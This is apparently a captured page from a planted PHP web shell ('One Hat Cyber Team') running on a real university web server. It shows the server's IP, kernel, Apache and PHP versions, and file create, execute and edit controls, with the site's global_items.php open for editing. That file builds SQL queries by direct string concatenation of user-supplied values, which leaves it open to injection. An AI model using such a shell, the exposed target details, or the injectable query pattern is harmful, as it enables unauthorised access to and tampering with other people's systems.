One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
vhost
/
imath.kiev.ua
/
Edit File:
global_items.php
<?php /* Used to keep track of all created items on the site. Also creates folders for item files */ class GlobalItems { public $database; public function __construct($database){ $this->database = $database; } public function createItem($type){ $query_raw = "INSERT INTO `items` SET type = '".$type."', created_by = '".$_SESSION['user']."' ;"; $result = $this->database->query($query_raw); if(!$result) return 0; $id = $this->database->insert_id(); mkdir(__DIR__.'/uploads/item'.$id.'/', 0775); // mkdir(__DIR__.'/../uploads/item'.$id.'/sub/', 0775); return $id; } public function readItem($id){ if(!is_numeric($id)) return ''; $query_raw = "SELECT * FROM `items` WHERE id = $id ;"; $result = $this->database->query($query_raw); $item = mysql_fetch_assoc($result); return $item; } public function updateItem($id, $type=''){ if(!is_numeric($id)) return 0; if($type){ $query_raw = "UPDATE `items` SET type = '".$type."', modified_by = '".$_SESSION['user']."', modified_time = NOW() WHERE id = ".$id." ;"; } else { $query_raw = "UPDATE `items` SET modified_by = '".$_SESSION['user']."', modified_time = NOW() WHERE id = ".$id." ;"; } $result = $this->database->query($query_raw); return $result; } public function deleteItem($id){ if(!is_numeric($id)) return ''; // $query_raw = "DELETE FROM `items` WHERE id = $id ;"; $query_raw = "UPDATE `items` SET deleted = '1', modified_by = '".$_SESSION['user']."', modified_time = NOW() WHERE id = ".$id." ;"; $result = $this->database->query($query_raw); // TODO? unlink files folder return $result; } } // $imath_session = session_name("imath_session"); // session_start(); // include('../mysql.php'); // $database = new database(); // $items = new GlobalItems($database); // // unlink(__DIR__.'/../uploads/'); // // $item = $items->readItem(11); // // var_export($item); // // $id = $items->createItem('test'); // // echo $id; // $items->updateItem(16, 'test2'); ?>
Simpan